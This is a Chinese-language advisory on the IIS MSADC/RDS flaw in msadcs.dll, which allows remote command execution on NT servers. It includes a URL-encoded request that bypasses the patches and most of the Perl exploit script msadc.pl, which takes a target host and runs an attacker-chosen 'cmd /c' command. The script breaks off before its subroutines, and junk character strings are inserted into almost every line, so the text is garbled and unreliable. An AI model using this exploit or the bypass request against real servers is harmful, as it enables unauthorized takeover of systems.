IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Zdy{e|-Zn WJTc/ 涉及程序:
BT^HlW< Microsoft NT server
4QBPN@~t 1YScZ 描述:
Nh[H[1"J 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
C Ef*:kr D%~"]WnZ\Q 详细:
kca#ssN 如果你没有时间读详细内容的话,就删除:
/*e6('9s c:\Program Files\Common Files\System\Msadc\msadcs.dll
%;,4q B
有关的安全问题就没有了。
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:+Ue<B 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
&fe67#0r) >XPR)&t 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
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J/NYV 关于利用ODBC远程漏洞的描述,请参看:
ok1-`c P oS^g "hQ`\ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm GJIZu&C F/ui(4 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
BG_6$9y http://www.microsoft.com/security/bulletins/MS99-025faq.asp ]]9VI0
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|55 这里不再论述。
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aay Ij2Th] 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
a"m-&mN 3?Fe(!@ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
-unQ4G 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
m+QZ| cJ#n<Rsz *r)dtI* #将下面这段保存为txt文件,然后: "perl -x 文件名"
%$'Z"njO& E<'V6T9bi #!perl
5}TTf2&Xo# #
.^8rO,H[ # MSADC/RDS 'usage' (aka exploit) script
c)Ne/E{!0 #
s\ e b # by rain.forest.puppy
?tkl
cYB #
MDCwgNPiQW # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
>Z>sR0s7 # beta test and find errors!
xbzO'C M^{=& use Socket; use Getopt::Std;
89UR w9 getopts("e:vd:h:XR", \%args);
{~`{bnx^]7 qRL45[ K print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
MIY`"h0* 9L>73P{_ if (!defined $args{h} && !defined $args{R}) {
M44$E4a20 print qq~
Ym?VF{e, Usage: msadc.pl -h <host> { -d <delay> -X -v }
0[p"8+x -h <host> = host you want to scan (ip or domain)
}b^x#HC -d <seconds> = delay between calls, default 1 second
vG:S(/\> -X = dump Index Server path table, if available
V ;"Rp-`^ -v = verbose
-`D<OSt7 -e = external dictionary file for step 5
gI00@p:m 9^E!2CJ Or a -R will resume a command session
)cU$I) w\a6ga!xt" ~; exit;}
S59^$ 5!BW!-q $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
HV{W7) if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
0:$pJtx" if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
NInZ~4: if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
:xk+`` T $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
W9;9\k if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
X/h|;C*9 Z|xgZG{ if (!defined $args{R}){ $ret = &has_msadc;
kAs=5_?I die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
"gt1pf~y <vt}+uMzXv print "Please type the NT commandline you want to run (cmd /c assumed):\n"
xy4P_ . "cmd /c ";
j!"5,~ $in=<STDIN>; chomp $in;
~9#'s' $command="cmd /c " . $in ;
q4g)/x%nc K%UjPzPWw if (defined $args{R}) {&load; exit;}
W4(GI]`_+ ~-UO^$M- print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
9\uBX.]x &try_btcustmr;
G +AP."M? I~4!8W-Y print "\nStep 2: Trying to make our own DSN...";
?kS#g &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
`A<2wd; X6=o vm print "\nStep 3: Trying known DSNs...";
LTuT"}dT[ &known_dsn;
%CQv&d2 {s{+MbD print "\nStep 4: Trying known .mdbs...";
vy-q<6T}:p &known_mdb;
sl:1P^b K^P&3H*(/n if (defined $args{e}){
VAA="yN print "\nStep 5: Trying dictionary of DSN names...";
<fHN^O0TS &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
LtPaTe '7g]@Q7 print "Sorry Charley...maybe next time?\n";
z:=E-+ exit;
:<HLw.4O hV&